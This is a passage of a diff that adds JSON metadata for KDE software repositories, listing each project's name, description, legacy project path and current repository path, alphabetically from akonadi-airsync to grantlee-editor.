"akonadi-airsync": { + "description": "Akonadi Resource to download emails from MS Exchange servers", + "name": "akonadi-airsync", + "project_path": "playground/pim/akonadi-airsync", + "repo_path": "pim/akonadi-airsync" + }, + "akonadi-calendar": { + "description": "Akonadi calendar integration", + "name": "akonadi-calendar", + "project_path": "kde/pim/akonadi-calendar", + "repo_path": "pim/akonadi-calendar" + }, + "akonadi-calendar-tools": { + "description": "Console applications and utilities for managing calendars in Akonadi", + "name": "akonadi-calendar-tools", + "project_path": "kde/pim/akonadi-calendar-tools", + "repo_path": "pim/akonadi-calendar-tools" + }, + "akonadi-contacts": { + "description": "Libraries and daemons to implement Contact Management in Akonadi", + "name": "akonadi-contacts", + "project_path": "kde/pim/akonadi-contacts", + "repo_path": "pim/akonadi-contacts" + }, + "akonadi-exchange": { + "description": "Akonadi plugin for Exchange groupware functionality", + "name": "akonadi-exchange", + "project_path": "playground/pim/akonadi-exchange", + "repo_path": "pim/akonadi-exchange" + }, + "akonadi-facebook": { + "description": "Makes events, contacts, notes and messages from Facebook available in KDE.", + "name": "akonadi-facebook", + "project_path": "unmaintained/akonadi-facebook", + "repo_path": "unmaintained/akonadi-facebook" + }, + "akonadi-git-resource": { + "description": "Akonadi Git Resource allows you to see your commits in kmail.", + "name": "akonadi-git-resource", + "project_path": "unmaintained/akonadi-git-resource", + "repo_path": "unmaintained/akonadi-git-resource" + }, + "akonadi-google-applets": { + "description": "Plasma applets for Akonadi google resources", + "name": "akonadi-google-applets", + "project_path": "unmaintained/akonadi-google-applets", + "repo_path": "unmaintained/akonadi-google-applets" + }, + "akonadi-googledata-resource": { + "description": "It hosts 2 resources for akonadi that enables KDE-PIM apps to sync/edit/add/delete entries (either contacts or calendar events) from a google account.", + "name": "akonadi-googledata-resource", + "project_path": "unmaintained/akonadi-googledata-resource", + "repo_path": "unmaintained/akonadi-googledata-resource" + }, + "akonadi-import-wizard": { + "description": "Assistant to import external PIM data into Akonadi for use in KDE PIM apps", + "name": "akonadi-import-wizard", + "project_path": "kde/pim/akonadi-import-wizard", + "repo_path": "pim/akonadi-import-wizard" + }, + "akonadi-mime": { + "description": "Helpers to make working with emails through Akonadi easier", + "name": "akonadi-mime", + "project_path": "kde/pim/akonadi-mime", + "repo_path": "pim/akonadi-mime" + }, + "akonadi-notes": { + "description": "Libraries and daemons to implement note management in Akonadi", + "name": "akonadi-notes", + "project_path": "kde/pim/akonadi-notes", + "repo_path": "pim/akonadi-notes" + }, + "akonadi-phabricator-resource": { + "description": "Synchronize your Phabricator tasks with KOrganizer", + "name": "akonadi-phabricator-resource", + "project_path": "playground/pim/akonadi-phabricator-resource", + "repo_path": "pim/akonadi-phabricator-resource" + }, + "akonadi-search": { + "description": "Libraries and daemons to implement searching in Akonadi", + "name": "akonadi-search", + "project_path": "kde/pim/akonadi-search", + "repo_path": "pim/akonadi-search" + }, + "akonadi-sugarcrm": { + "description": "Accessing the addressbook of a SugarCRM web service", + "name": "akonadi-sugarcrm", + "project_path": "unmaintained/akonadi-sugarcrm", + "repo_path": "unmaintained/akonadi-sugarcrm" + }, + "akonadi-vkontakte": { + "description": "Makes contacts, notes and messages from VKontakte.ru social network available in KDE.", + "name": "akonadi-vkontakte", + "project_path": "unmaintained/akonadi-vkontakte", + "repo_path": "unmaintained/akonadi-vkontakte" + }, + "akonadiclient": { + "description": "Command-line interface to Akonadi", + "name": "akonadiclient", + "project_path": "playground/pim/akonadiclient", + "repo_path": "pim/akonadiclient" + }, + "akonadiconsole": { + "description": "Application for debugging Akonadi Resources", + "name": "akonadiconsole", + "project_path": "kde/pim/akonadiconsole", + "repo_path": "pim/akonadiconsole" + }, + "akregator": { + "description": "RSS Feed Reader", + "name": "akregator", + "project_path": "kde/pim/akregator", + "repo_path": "pim/akregator" + }, + "akunambol": { + "description": "Akunambol is a KDE SyncML client for your Akonadi Storage. a.k.a, it synchronizes your data with another device.", + "name": "akunambol", + "project_path": "unmaintained/akunambol", + "repo_path": "unmaintained/akunambol" + }, + "alkimia": { + "description": "Library used by KDE finance applications", + "name": "alkimia", + "project_path": "extragear/office/alkimia", + "repo_path": "office/alkimia" + }, + "alligator": { + "description": "Kirigami-based RSS reader", + "name": "alligator", + "project_path": "extragear/network/alligator", + "repo_path": "network/alligator" + }, + "alpaka": { + "description": "Kirigami client for Ollama", + "name": "alpaka", + "project_path": "playground/utils/alpaka", + "repo_path": "utilities/alpaka" + }, + "amarok": { + "description": "Powerful music player that lets you rediscover your music", + "name": "amarok", + "project_path": "extragear/multimedia/amarok", + "repo_path": "multimedia/amarok" + }, + "amarok-history": { + "description": "Amarok history", + "name": "amarok-history", + "project_path": "extragear/multimedia/amarok/amarok-history", + "repo_path": "historical/amarok-history" + }, + "amor": { + "description": "Amusing Misuse of Resources animation that sits on top of the curent window.", + "name": "amor", + "project_path": "playground/games/amor", + "repo_path": "games/amor" + }, + "analitza": { + "description": "Library that lets you add mathematical features to your program", + "name": "analitza", + "project_path": "kde/kdeedu/analitza", + "repo_path": "education/analitza" + }, + "android-builder": { + "description": "Build environment and SDK for cross-building KDE applications for Android.", + "name": "android-builder", + "project_path": "unmaintained/android-builder", + "repo_path": "unmaintained/android-builder" + }, + "android-qt": { + "description": "Android port of Qt Framework", + "name": "android-qt", + "project_path": "unmaintained/necessitas/android-qt", + "repo_path": "unmaintained/android-qt" + }, + "android-qt-creator": { + "description": "Android port of Qt Creator IDE", + "name": "android-qt-creator", + "project_path": "unmaintained/necessitas/android-qt-creator", + "repo_path": "unmaintained/android-qt-creator" + }, + "android-qt-mobility": { + "description": "Android port of Qt Mobility", + "name": "android-qt-mobility", + "project_path": "unmaintained/necessitas/android-qt-mobility", + "repo_path": "unmaintained/android-qt-mobility" + }, + "android-qt-ndk": { + "description": "NDK repository for the Android port of Qt.", + "name": "android-qt-ndk", + "project_path": "unmaintained/necessitas/android-qt-ndk", + "repo_path": "unmaintained/android-qt-ndk" + }, + "android-qt5-qtbase": { + "description": "Android Qt5 QtBase module", + "name": "android-qt5-qtbase", + "project_path": "unmaintained/necessitas/android-qt5-qtbase", + "repo_path": "unmaintained/android-qt5-qtbase" + }, + "android-qtwebkit": { + "description": "QtWebkit port to Android", + "name": "android-qtwebkit", + "project_path": "unmaintained/necessitas/android-qtwebkit", + "repo_path": "unmaintained/android-qtwebkit" + }, + "angelfish": { + "description": "Web browser for Plasma Mobile", + "name": "angelfish", + "project_path": "extragear/base/angelfish", + "repo_path": "network/angelfish" + }, + "apper": { + "description": "Package management application using PackageKit", + "name": "apper", + "project_path": "extragear/sysadmin/apper", + "repo_path": "system/apper" + }, + "appimage-packaging": { + "description": "Recipes and other materials needed to create application AppImages", + "name": "appimage-packaging", + "project_path": "playground/packaging/appimage-packaging", + "repo_path": "packaging/appimage-packaging" + }, + "appmenu-runner": { + "description": "AppMenu runner that allows to quickly find any action exported in AppMenu", + "name": "appmenu-runner", + "project_path": "unmaintained/appmenu-runner", + "repo_path": "unmaintained/appmenu-runner" + }, + "appstream-qt": { + "description": null, + "name": "appstream-qt", + "project_path": "third-party/appstream", + "repo_path": null + }, + "appstream-runner": { + "description": "KRunner plugin for looking up the search into the software database to suggest software that wasn't found.", + "name": "appstream-runner", + "project_path": "unmaintained/appstream-runner", + "repo_path": "unmaintained/appstream-runner" + }, + "arca": { + "description": "Maui Archiver for compressed files", + "name": "arca", + "project_path": "playground/base/arca", + "repo_path": "maui/arca" + }, + "arianna": { + "description": "EPub Reader for mobile devices", + "name": "arianna", + "project_path": "extragear/graphics/arianna", + "repo_path": "graphics/arianna" + }, + "ark": { + "description": "File archiver by KDE", + "name": "ark", + "project_path": "kde/kdeutils/ark", + "repo_path": "utilities/ark" + }, + "arkade": { + "description": "Collection of Arcade games developed in Kirigami", + "name": "arkade", + "project_path": "playground/games/arkade", + "repo_path": "games/arkade" + }, + "artikulate": { + "description": "Pronunciation trainer to improve your skills by listening to native speakers", + "name": "artikulate", + "project_path": "kde/kdeedu/artikulate", + "repo_path": "education/artikulate" + }, + "artikulate-data": { + "description": "Artikulate course data files", + "name": "artikulate-data", + "project_path": "playground/edu/artikulate-data", + "repo_path": "education/artikulate-data" + }, + "assemblygen": { + "description": "A tool that generates .NET/mono assemblies from SMOKE libraries.", + "name": "assemblygen", + "project_path": "unmaintained/assemblygen", + "repo_path": "unmaintained/assemblygen" + }, + "asynqt": { + "description": "Framework which provides convenience methods that make QFuture actually useful", + "name": "asynqt", + "project_path": "playground/libs/asynqt", + "repo_path": "libraries/asynqt" + }, + "atcore": { + "description": "Library for connection and management of 3D printers (Atelier Core)", + "name": "atcore", + "project_path": "extragear/base/atcore", + "repo_path": "libraries/atcore" + }, + "atcore-cli": { + "description": "Open Source 3D Printing Host - CLI Interface", + "name": "atcore-cli", + "project_path": "playground/base/atcore-cli", + "repo_path": "utilities/atcore-cli" + }, + "atelier": { + "description": "Desktop interface to control 3D printers powered by AtCore", + "name": "atelier", + "project_path": "playground/base/atelier", + "repo_path": "utilities/atelier" + }, + "atlantik": { + "description": "Atlantik Game", + "name": "atlantik", + "project_path": "playground/games/atlantik", + "repo_path": "games/atlantik" + }, + "attica": { + "description": "Attica is a Qt library that implements the Open Collaboration Services API.\n\nMailing list: https://lists.freedesktop.org/mailman/listinfo/ocs\nInternet Relay Chat: #ocs@freenode", + "name": "attica", + "project_path": "frameworks/attica", + "repo_path": "frameworks/attica" + }, + "audex": { + "description": "Tool for ripping compact discs", + "name": "audex", + "project_path": "playground/multimedia/audex", + "repo_path": "multimedia/audex" + }, + "audiocd-kio": { + "description": "KIO worker for accessing audio CDs", + "name": "audiocd-kio", + "project_path": "kde/kdemultimedia/audiocd-kio", + "repo_path": "multimedia/audiocd-kio" + }, + "audiotube": { + "description": "Client for YouTube Music", + "name": "audiotube", + "project_path": "extragear/multimedia/audiotube", + "repo_path": "multimedia/audiotube" + }, + "aura-browser": { + "description": "Browser for a fully immersed Big Screen experience allowing you to navigate the world wide web using just your remote control", + "name": "aura-browser", + "project_path": "kde/workspace/aura-browser", + "repo_path": "plasma/aura-browser" + }, + "automoc": { + "description": "Automoc", + "name": "automoc", + "project_path": "kdesupport/automoc", + "repo_path": "unmaintained/automoc" + }, + "babe": { + "description": "Babe Media Player", + "name": "babe", + "project_path": "unmaintained/babe", + "repo_path": "unmaintained/babe" + }, + "baloo": { + "description": "Baloo is a framework for searching and managing metadata.", + "name": "baloo", + "project_path": "frameworks/baloo", + "repo_path": "frameworks/baloo" + }, + "baloo-widgets": { + "description": "Widgets for Baloo", + "name": "baloo-widgets", + "project_path": "kde/applications/baloo-widgets", + "repo_path": "libraries/baloo-widgets" + }, + "bangarang": { + "description": "", + "name": "bangarang", + "project_path": "playground/multimedia/bangarang", + "repo_path": "unmaintained/bangarang" + }, + "basket": { + "description": "Notes and to-dos organizer", + "name": "basket", + "project_path": "playground/utils/basket", + "repo_path": "utilities/basket" + }, + "bigscreen-application-launcher-skill": { + "description": "Voice application launcher skill for Plasma Bigscreen", + "name": "bigscreen-application-launcher-skill", + "project_path": "playground/utils/bigscreen-application-launcher-skill", + "repo_path": "plasma-bigscreen/bigscreen-application-launcher-skill" + }, + "bigscreen-debos-image-rpi4": { + "description": "Recipes and other materials needed to build a Plasma Bigscreen image for Raspberry Pi4 devices, using DebOS", + "name": "bigscreen-debos-image-rpi4", + "project_path": "playground/utils/bigscreen-debos-image-rpi4", + "repo_path": "plasma-bigscreen/bigscreen-debos-image-rpi4" + }, + "bigscreen-image-settings": { + "description": "Recipes and other materials needed to build Plasma Bigscreen images", + "name": "bigscreen-image-settings", + "project_path": "playground/utils/bigscreen-image-settings", + "repo_path": "plasma-bigscreen/bigscreen-image-settings" + }, + "bigscreen-platform-skill": { + "description": "Platform control skill for Plasma Bigscreen, providing Window Management Features for Voice Applications on Bigscreen Platform", + "name": "bigscreen-platform-skill", + "project_path": "playground/utils/bigscreen-platform-skill", + "repo_path": "plasma-bigscreen/bigscreen-platform-skill" + }, + "binschema": { + "description": "Code generator that produces code to read Microsoft Office files", + "name": "binschema", + "project_path": "playground/libs/binschema", + "repo_path": "libraries/binschema" + }, + "blinken": { + "description": "Memory Enhancement Game", + "name": "blinken", + "project_path": "kde/kdeedu/blinken", + "repo_path": "education/blinken" + }, + "blogilo": { + "description": "Application to create, edit and update your blog content.", + "name": "blogilo", + "project_path": "unmaintained/blogilo", + "repo_path": "unmaintained/blogilo" + }, + "bluedevil": { + "description": "Bluedevil adds Bluetooth capabilities to KDE Plasma", + "name": "bluedevil", + "project_path": "kde/workspace/bluedevil", + "repo_path": "plasma/bluedevil" + }, + "bluez-qt": { + "description": "Qt wrapper for Bluez 5 DBus API", + "name": "bluez-qt", + "project_path": "frameworks/bluez-qt", + "repo_path": "frameworks/bluez-qt" + }, + "bodega-client": { + "description": "Library and client applications for the Make Play Live content store.", + "name": "bodega-client", + "project_path": "unmaintained/bodega-client", + "repo_path": "unmaintained/bodega-client" + }, + "bodega-server": { + "description": "Server and content importers for the Bodega content system.", + "name": "bodega-server", + "project_path": "unmaintained/bodega-server", + "repo_path": "unmaintained/bodega-server" + }, + "bodega-webapp-client": { + "description": "A web application client for the Bodega Content System", + "name": "bodega-webapp-client", + "project_path": "unmaintained/bodega-webapp-client", + "repo_path": "unmaintained/bodega-webapp-client" + }, + "bodega-webapp-manager": { + "description": "Web application to manage an instance of Bodega Server", + "name": "bodega-webapp-manager", + "project_path": "unmaintained/bodega-webapp-manager", + "repo_path": "unmaintained/bodega-webapp-manager" + }, + "bomber": { + "description": "Bomber is a single player arcade game", + "name": "bomber", + "project_path": "kde/kdegames/bomber", + "repo_path": "games/bomber" + }, + "bonsai": { + "description": "Mobile Git repository manager", + "name": "bonsai", + "project_path": "playground/base/bonsai", + "repo_path": "maui/bonsai" + }, + "bookmanager": { + "description": "A simple E-book manager and viewer.", + "name": "bookmanager", + "project_path": "unmaintained/bookmanager", + "repo_path": "unmaintained/bookmanager" + }, + "bovo": { + "description": "Bovo is a Gomoku like game for two players", + "name": "bovo", + "project_path": "kde/kdegames/bovo", + "repo_path": "games/bovo" + }, + "breeze": { + "description": "Artwork, styles and assets for the Breeze visual style for the Plasma Desktop", + "name": "breeze", + "project_path": "kde/workspace/breeze", + "repo_path": "plasma/breeze" + }, + "breeze-grub": { + "description": "GRUB theme for the Breeze visual style for the Plasma Desktop", + "name": "breeze-grub", + "project_path": "kde/workspace/breeze-grub", + "repo_path": "plasma/breeze-grub" + }, + "breeze-gtk": { + "description": "Breeze widget theme for GTK 2 and 3", + "name": "breeze-gtk", + "project_path": "kde/workspace/breeze-gtk", + "repo_path": "plasma/breeze-gtk" + }, + "breeze-icons": { + "description": "Breeze icon theme.", + "name": "breeze-icons", + "project_path": "frameworks/breeze-icons", + "repo_path": "frameworks/breeze-icons" + }, + "breeze-plymouth": { + "description": "Plymouth theme for the Breeze visual style for the Plasma Desktop", + "name": "breeze-plymouth", + "project_path": "kde/workspace/breeze-plymouth", + "repo_path": "plasma/breeze-plymouth" + }, + "brooklyn": { + "description": "Protocol independent software which forwards messages between various chat services.", + "name": "brooklyn", + "project_path": "playground/utils/brookyln", + "repo_path": "unmaintained/brooklyn" + }, + "brprint3d": { + "description": "Printer Host Open Source to 3D Printing", + "name": "brprint3d", + "project_path": "unmaintained/brprint3d", + "repo_path": "unmaintained/brprint3d" + }, + "brun": { + "description": "Maui Calculator app", + "name": "brun", + "project_path": "playground/base/brun", + "repo_path": "maui/brun" + }, + "buho": { + "description": "Task and Note Keeper", + "name": "buho", + "project_path": "playground/base/buho", + "repo_path": "maui/buho" + }, + "cagibi": { + "description": "Experimental cache/proxy system for SSDP (Simple Service Discovery Protocol, used as service/device discovery system in UPnP).", + "name": "cagibi", + "project_path": "unmaintained/cagibi", + "repo_path": "unmaintained/cagibi" + }, + "calamares-bigscreen-branding": { + "description": "Plasma Bigscreen branding and customization for Calamares", + "name": "calamares-bigscreen-branding", + "project_path": "playground/utils/calamares-bigscreen-branding", + "repo_path": "plasma-bigscreen/calamares-bigscreen-branding" + }, + "calendarsupport": { + "description": "Library that provides calendar support for PIM", + "name": "calendarsupport", + "project_path": "kde/pim/calendarsupport", + "repo_path": "pim/calendarsupport" + }, + "calindori": { + "description": "Calendar for Plasma Mobile", + "name": "calindori", + "project_path": "extragear/pim/calindori", + "repo_path": "plasma-mobile/calindori" + }, + "calligra": { + "description": "Office and graphic art suite by KDE", + "name": "calligra", + "project_path": "calligra/calligra", + "repo_path": "office/calligra" + }, + "calligra-history": { + "description": "The home of inactive branches for Calligra Suite.", + "name": "calligra-history", + "project_path": "calligra/calligra-history", + "repo_path": "historical/calligra-history" + }, + "calligraplan": { + "description": "Project management application", + "name": "calligraplan", + "project_path": "calligra/calligraplan", + "repo_path": "office/calligraplan" + }, + "cantor": { + "description": "Front end to powerful mathematics and statistics packages", + "name": "cantor", + "project_path": "kde/kdeedu/cantor", + "repo_path": "education/cantor" + }, + "cervisia": { + "description": "GUI for CVS", + "name": "cervisia", + "project_path": "kde/kdesdk/cervisia", + "repo_path": "sdk/cervisia" + }, + "chocolatey-packaging": { + "description": "Packaging information necessary to generate Chocolatey.org packages", + "name": "chocolatey-packaging", + "project_path": "playground/devtools/chocolatey-packaging", + "repo_path": "packaging/chocolatey-packaging" + }, + "choqok": { + "description": "Microblogging client by KDE", + "name": "choqok", + "project_path": "extragear/network/choqok", + "repo_path": "network/choqok" + }, + "cirkuit": { + "description": "KDE interface for LaTeX graphic tools (such as TikZ, Gnuplot, Circuit Macros) to produce publication-ready pictures.\n\nPlease use \"bugs.kde.org\":https://bugs.kde.org/wizard.cgi?package=cirkuit&kbugreport=1 to file bug reports and wishes.", + "name": "cirkuit", + "project_path": "unmaintained/cirkuit", + "repo_path": "unmaintained/cirkuit" + }, + "clazy": { + "description": "Qt-oriented static code analyzer based on the Clang framework", + "name": "clazy", + "project_path": "extragear/sdk/clazy", + "repo_path": "sdk/clazy" + }, + "cmark": { + "description": null, + "name": "cmark", + "project_path": "third-party/cmark", + "repo_path": null + }, + "cmetronome": { + "description": "Command line metronome", + "name": "cmetronome", + "project_path": "playground/utils/cmetronome", + "repo_path": "unmaintained/cmetronome" + }, + "cocoon": { + "description": "A GUI for Git.", + "name": "cocoon", + "project_path": "playground/sdk/cocoon", + "repo_path": "unmaintained/cocoon" + }, + "codevis": { + "description": "Codevis is an analysis and visualization tool designed to assist in code maintenance for C++ codebases.", + "name": "codevis", + "project_path": "playground/sdk/codevis", + "repo_path": "sdk/codevis" + }, + "colibri": { + "description": "Alternative notifications for KDE Plasma Desktop", + "name": "colibri", + "project_path": "unmaintained/colibri", + "repo_path": "unmaintained/colibri" + }, + "colord-kde": { + "description": "Provides interfaces and session daemon to colord", + "name": "colord-kde", + "project_path": "playground/graphics/colord-kde", + "repo_path": "graphics/colord-kde" + }, + "confine": { + "description": "Replacement to the KIOSK tool", + "name": "confine", + "project_path": "playground/utils/confine", + "repo_path": "utilities/confine" + }, + "conquirere": { + "description": "Nepomuk powered research tool.", + "name": "conquirere", + "project_path": "unmaintained/conquirere", + "repo_path": "unmaintained/conquirere" + }, + "contour": { + "description": "A new and innovative usage paradigm for mobile devices", + "name": "contour", + "project_path": "unmaintained/contour", + "repo_path": "unmaintained/contour" + }, + "craft": { + "description": "Open source meta build system and package manager", + "name": "craft", + "project_path": "kdesupport/craft", + "repo_path": "packaging/craft" + }, + "craft-blueprints-community": { + "description": "Project build blueprints for Craft not related to KDE software", + "name": "craft-blueprints-community", + "project_path": "kdesupport/craft-blueprints-community", + "repo_path": "packaging/craft-blueprints-community" + }, + "craft-blueprints-kde": { + "description": "Project build blueprints for Craft \u2014 the meta build system and package manager", + "name": "craft-blueprints-kde", + "project_path": "kdesupport/craft-blueprints-kde", + "repo_path": "packaging/craft-blueprints-kde" + }, + "craftmaster": { + "description": "Orchestrate multiple Craft instance configurations", + "name": "craftmaster", + "project_path": "kdesupport/craftmaster", + "repo_path": "packaging/craftmaster" + }, + "croutons": { + "description": "Library for asynchronous Qt, including QML-friendly futures and C++20 coroutine integration", + "name": "croutons", + "project_path": "extragear/libs/croutons", + "repo_path": "libraries/croutons" + }, + "cutehmi": { + "description": "Open-source HMI (Human Machine Interface) software written in C++ and QML", + "name": "cutehmi", + "project_path": "playground/base/cutehmi", + "repo_path": "sdk/cutehmi" + }, + "cutepaste": { + "description": "Client application for paste.kde.org written in Qt", + "name": "cutepaste", + "project_path": "unmaintained/cutepaste", + "repo_path": "unmaintained/cutepaste" + }, + "cxx11-cmake-modules": { + "description": "CMake modules for detecting C++11 features supported by the compiler", + "name": "cxx11-cmake-modules", + "project_path": "playground/base/cxx11-cmake-modules", + "repo_path": "libraries/cxx11-cmake-modules" + }, + "daykountdown": { + "description": "A simple date countdown app written for KDE Plasma, using Kirigami.", + "name": "daykountdown", + "project_path": "playground/utilities/daykountdown", + "repo_path": "utilities/daykountdown" + }, + "declarative-plasmoids": { + "description": "a repository for developing declarative plasmoids for the plasma desktop and mobile", + "name": "declarative-plasmoids", + "project_path": "unmaintained/declarative-plasmoids", + "repo_path": "unmaintained/declarative-plasmoids" + }, + "dekorator": { + "description": "KWin plugin to support pixmap decorations in KDE", + "name": "dekorator", + "project_path": "unmaintained/dekorator", + "repo_path": "unmaintained/dekorator" + }, + "dferry": { + "description": "D-Bus library and tools", + "name": "dferry", + "project_path": "playground/sdk/dferry", + "repo_path": "sdk/dferry" + }, + "digikam": { + "description": "digiKam is an advanced open-source digital photo management application that runs on Linux, Windows, and MacOS. The application provides a comprehensive set of tools for importing, managing, editing, and sharing photos and raw files.", + "name": "digikam", + "project_path": "extragear/graphics/digikam", + "repo_path": "graphics/digikam" + }, + "digikam-doc": { + "description": "Documentation for the digiKam photo management application", + "name": "digikam-doc", + "project_path": "extragear/graphics/digikam/digikam-doc", + "repo_path": "documentation/digikam-doc" + }, + "digikam-software-compilation": { + "description": "Advanced digital photo management application by KDE, which makes importing and organizing digital photos a 'snap'.", + "name": "digikam-software-compilation", + "project_path": "unmaintained/digikam-software-compilation", + "repo_path": "unmaintained/digikam-software-compilation" + }, + "digikam-test-data": { + "description": "Data required to support running unit tests for digiKam", + "name": "digikam-test-data", + "project_path": "extragear/graphics/digikam-test-data", + "repo_path": "graphics/digikam-test-data" + }, + "discover": { + "description": "KDE and Plasma resources management GUI", + "name": "discover", + "project_path": "kde/workspace/discover", + "repo_path": "plasma/discover" + }, + "distro-release-notifier": { + "description": "", + "name": "distro-release-notifier", + "project_path": "playground/base/distro-release-notifier", + "repo_path": "system/distro-release-notifier" + }, + "docker-neon-all": { + "description": "Docker packaging environment for KDE Neon, including everything", + "name": "docker-neon-all", + "project_path": "playground/packaging/docker-neon-all", + "repo_path": "packaging/docker-neon-all" + }, + "documentation-develop-kde-org": { + "description": "Hugo based website containing tutorials and other articles useful for KDE Development", + "name": "documentation-develop-kde-org", + "project_path": "documentation/develop-kde-org", + "repo_path": "documentation/develop-kde-org" + }, + "documentation-docs-kdenlive-org": { + "description": "Documentation for Kdenlive", + "name": "documentation-docs-kdenlive-org", + "project_path": "documentation/docs-kdenlive-org", + "repo_path": "documentation/docs-kdenlive-org" + }, + "dolphin": { + "description": "File manager by KDE", + "name": "dolphin", + "project_path": "kde/applications/dolphin", + "repo_path": "system/dolphin" + }, + "dolphin-plugins": { + "description": "Plugins for Dolphin", + "name": "dolphin-plugins", + "project_path": "kde/kdesdk/dolphin-plugins", + "repo_path": "sdk/dolphin-plugins" + }, + "doxyqml": { + "description": "Doxygen filter to allow generation of API Documentation for QML", + "name": "doxyqml", + "project_path": "playground/sdk/doxyqml", + "repo_path": "sdk/doxyqml" + }, + "dragon": { + "description": "Multimedia player with the focus on simplicity, not features", + "name": "dragon", + "project_path": "kde/kdemultimedia/dragon", + "repo_path": "multimedia/dragon" + }, + "drkonqi": { + "description": "Crash handler for KDE software", + "name": "drkonqi", + "project_path": "kde/workspace/drkonqi", + "repo_path": "plasma/drkonqi" + }, + "drkonqi-pk-debug-installer": { + "description": "PackageKit based debug package installer (for debian-like distros) for DrKonqi", + "name": "drkonqi-pk-debug-installer", + "project_path": "playground/base/drkonqi-pk-debug-installer", + "repo_path": "system/drkonqi-pk-debug-installer" + }, + "dummy": { + "description": "Systems testing repository", + "name": "dummy", + "project_path": "sysadmin/dummy", + "repo_path": "sysadmin/dummy" + }, + "ebookreader": { + "description": "This project aims at providing a cross-platform e-book reader adapted for touch screens by using Qt/QML for its frontend and okular core library for its backend", + "name": "ebookreader", + "project_path": "unmaintained/ebookreader", + "repo_path": "unmaintained/ebookreader" + }, + "elf-dissector": { + "description": "Tools for inspecting, analyzing and optimizing ELF files", + "name": "elf-dissector", + "project_path": "extragear/sdk/elf-dissector", + "repo_path": "sdk/elf-dissector" + }, + "elisa": { + "description": "Simple music player aiming to provide a nice experience for its users", + "name": "elisa", + "project_path": "kde/kdemultimedia/elisa", + "repo_path": "multimedia/elisa" + }, + "eloquens": { + "description": "Generate the lorem ipsum text", + "name": "eloquens", + "project_path": "kdereview/eloquens", + "repo_path": "sdk/eloquens" + }, + "emerge": { + "description": "Stub - this project has been renamed", + "name": "emerge", + "project_path": "unmaintained/emerge", + "repo_path": "unmaintained/emerge" + }, + "emerge-history": { + "description": "complete svn history of emerge", + "name": "emerge-history", + "project_path": "kdesupport/emerge-history", + "repo_path": "unmaintained/emerge-history" + }, + "eventviews": { + "description": "Library for displaying and creating events and calendars", + "name": "eventviews", + "project_path": "kde/pim/eventviews", + "repo_path": "pim/eventviews" + }, + "extra-cmake-modules": { + "description": "Extra modules and scripts for CMake.", + "name": "extra-cmake-modules", + "project_path": "frameworks/extra-cmake-modules", + "repo_path": "frameworks/extra-cmake-modules" + }, + "eyeos-style": { + "description": "KStyle for EyeOS", + "name": "eyeos-style", + "project_path": "playground/base/eyeos-style", + "repo_path": "unmaintained/eyeos-style" + }, + "falkon": { + "description": "Cross-platform Qt-based web browser", + "name": "falkon", + "project_path": "extragear/network/falkon", + "repo_path": "network/falkon" + }, + "ffmpegthumbs": { + "description": "FFmpeg-based thumbnail creator for video files", + "name": "ffmpegthumbs", + "project_path": "kde/kdemultimedia/ffmpegthumbs", + "repo_path": "multimedia/ffmpegthumbs" + }, + "fielding": { + "description": "A simple REST API testing tool", + "name": "fielding", + "project_path": "playground/utils/fielding", + "repo_path": "utilities/fielding" + }, + "filelight": { + "description": "Quickly visualize your disk space usage", + "name": "filelight", + "project_path": "kde/kdeutils/filelight", + "repo_path": "utilities/filelight" + }, + "flatpak-kcm": { + "description": "Flatpak Permissions Management KCM", + "name": "flatpak-kcm", + "project_path": "kde/workspace/flatpak-kcm", + "repo_path": "plasma/flatpak-kcm" + }, + "flatpak-kde-applications": { + "description": "Flatpak packaging files for some KDE Applications", + "name": "flatpak-kde-applications", + "project_path": "playground/packaging/flatpak-kde-applications", + "repo_path": "packaging/flatpak-kde-applications" + }, + "flatpak-kde-runtime": { + "description": "Files to generate a repository with org.kde.Platform and Sdk", + "name": "flatpak-kde-runtime", + "project_path": "playground/packaging/flatpak-kde-runtime", + "repo_path": "packaging/flatpak-kde-runtime" + }, + "flickr-runner": { + "description": "Flickr", + "name": "flickr-runner", + "project_path": "unmaintained/flickr-runner", + "repo_path": "unmaintained/flickr-runner" + }, + "frameworkintegration": { + "description": "Framework providing components to allow applications to integrate with a KDE Workspace", + "name": "frameworkintegration", + "project_path": "frameworks/frameworkintegration", + "repo_path": "frameworks/frameworkintegration" + }, + "francis": { + "description": "Track your time", + "name": "francis", + "project_path": "extragear/utils/francis", + "repo_path": "utilities/francis" + }, + "futuresql": { + "description": "Non-blocking Qt database framework", + "name": "futuresql", + "project_path": "kdesupport/futuresql", + "repo_path": "libraries/futuresql" + }, + "gcompris": { + "description": "High-quality educational software suite for children aged 2 to 10", + "name": "gcompris", + "project_path": "extragear/edu/gcompris", + "repo_path": "education/gcompris" + }, + "gcompris-data": { + "description": "Data files for GCompris", + "name": "gcompris-data", + "project_path": "extragear/edu/gcompris-data", + "repo_path": "education/gcompris-data" + }, + "gestures-kde": { + "description": "Handles gestures of multi touch input devices", + "name": "gestures-kde", + "project_path": "unmaintained/gestures-kde", + "repo_path": "unmaintained/gestures-kde" + }, + "ghostwriter": { + "description": "Text editor for Markdown", + "name": "ghostwriter", + "project_path": "kde/office/ghostwriter", + "repo_path": "office/ghostwriter" + }, + "ginkgo": { + "description": "Ginkgo is a generic resource navigator and editor for Nepomuk, the KDE semantic toolkit.", + "name": "ginkgo", + "project_path": "playground/utils/ginkgo", + "repo_path": "unmaintained/ginkgo" + }, + "git-lab": { + "description": "Command-line client for GitLab", + "name": "git-lab", + "project_path": "playground/sdk/git-lab", + "repo_path": "sdk/git-lab" + }, + "glaxnimate": { + "description": "Simple vector animation program.", + "name": "glaxnimate", + "project_path": "playground/graphics/glaxnimate", + "repo_path": "graphics/glaxnimate" + }, + "gluon": { + "description": "An open framework for developing, playing and distributing games.", + "name": "gluon", + "project_path": "unmaintained/gluon", + "repo_path": "unmaintained/gluon" + }, + "gluon-blocks": { + "description": "The first game for KDE/Gluon", + "name": "gluon-blocks", + "project_path": "unmaintained/gluon-blocks", + "repo_path": "unmaintained/gluon-blocks" + }, + "gpgme": { + "description": null, + "name": "gpgme", + "project_path": "third-party/gpgme", + "repo_path": null + }, + "gpgmepp": { + "description": "GPGME++ Library", + "name": "gpgmepp", + "project_path": "unmaintained/gpgmepp", + "repo_path": "unmaintained/gpgmepp" + }, + "granatier": { + "description": "Granatier is a clone of the classic Bomberman game", + "name": "granatier", + "project_path": "kde/kdegames/granatier", + "repo_path": "games/granatier" + }, + "grantlee-editor": { + "description": "Utilities and tools to manage themes in KDE PIM applications", + "name": "grantlee-editor", + "project_path": "kde/pim/grantlee-editor", + "repo_path": "pim/grantlee-editor" + }, 